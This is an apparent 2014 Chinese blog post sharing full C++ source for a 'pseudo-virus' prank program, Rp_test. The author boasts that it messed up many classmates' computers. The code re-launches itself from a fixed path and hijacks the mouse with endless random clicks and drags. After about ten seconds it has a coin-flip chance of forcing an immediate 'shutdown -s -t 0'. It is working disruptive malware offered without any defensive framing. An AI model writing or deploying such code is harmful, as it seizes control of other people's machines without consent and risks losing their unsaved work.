伪病毒 Rp_test

  第一个写的对电脑有破坏性的程序= =,然后发现写system的copy的时候不会用字符串替代路径,然后就萎了= =,只能写一个没有自身复制的伪病毒了,坑到了好多同学的电脑,23333.。。。

  

//By BLADEVIL
#include <ctime>
#include <cstdio>
#include <string>
#include <cstdlib>
#include <cstring>
#include <direct.h>
#include <windows.h>

using namespace std;

struct rec {
    int x,y;
    rec(){
        x=y=0;
    }
}cur;

int flag;
char CurPath[100],GoalPath[100];

void Recursion() {
    ShellExecute(NULL,"open","d:\\Rp_test.exe",NULL,NULL,SW_MAXIMIZE);
}

rec GetAddress() {
    rec Address;
    Address.x=rand()%2000; Address.y=rand()%2000;
    return Address;
}

void Operate_Cursor() {
    rec Address=GetAddress();
    SetCursorPos(Address.x,Address.y);
    mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);
    mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);
    mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);
    mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);
    //Double Click
    Address=GetAddress();
    mouse_event(MOUSEEVENTF_LEFTDOWN,Address.x,Address.y,0,0);
    Address=GetAddress();
    mouse_event(MOUSEEVENTF_LEFTUP,Address.x,Address.y,0,0);
    //Drag
}

void Rp_Judge() {
    if (rand()%10<5) system("shutdown -s -t 0");
    flag=1;
}

int main() {
    freopen("Rp_test.out","w",stdout);
    Recursion();
    srand((int)time(NULL));
    while (1) {
        Operate_Cursor();
        printf("%d\n",clock());
        if ((clock()>10000)&&(!flag)) Rp_Judge();
    }
    return 0;
}

 

 

 

posted on 2014-04-07 19:33  BLADEVIL  阅读(481)  评论(0编辑  收藏  举报